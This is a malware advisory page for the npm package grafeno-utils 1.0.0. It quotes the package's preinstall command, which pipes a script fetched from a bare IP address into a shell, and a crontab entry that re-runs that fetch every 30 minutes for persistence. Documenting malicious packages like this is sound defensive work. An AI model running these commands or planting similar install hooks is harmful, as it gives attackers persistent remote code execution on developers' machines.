MAL-2026-15509

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-utils/MAL-2026-15509.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15509
Published
2026-08-28T23:02:25Z
Modified
2026-08-28T23:31:38.054538474Z
Summary
Malicious code in grafeno-utils (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad)

The package's package.json preinstall lifecycle hook uses child_process to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at npm install time. The same preinstall additionally appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019066",
            "modified_time": "2026-08-28T23:02:25Z",
            "import_time": "2026-08-28T23:14:35.726610658Z",
            "source": "amazon-inspector",
            "sha256": "5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-utils

Package

Name
grafeno-utils
View open source insights on deps.dev
Purl
pkg:npm/grafeno-utils

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "grafeno-utils-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-vVIVWe4lPuGBTy4Fsn5EjiR2E0zxUjnvo/N2+17wy9u2dEp5f66robYTT48xh3Arvzj70d0TFgjnX7jyjWi+3w==",
                "sha1": "9bea4fc5e8c70d07cc6323643bd6e1275e2a01e8"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "package.json",
            "tlsh": "89f050b49920f5736bca41312f6942b6f7d348450908bc046707015ca2ee3d35dfd85b",
            "sha256": "0480e6d81e88f9c5a5cb9c083f67177cba2416a253c96a0dfe062bad339f8288"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-utils/MAL-2026-15509.json"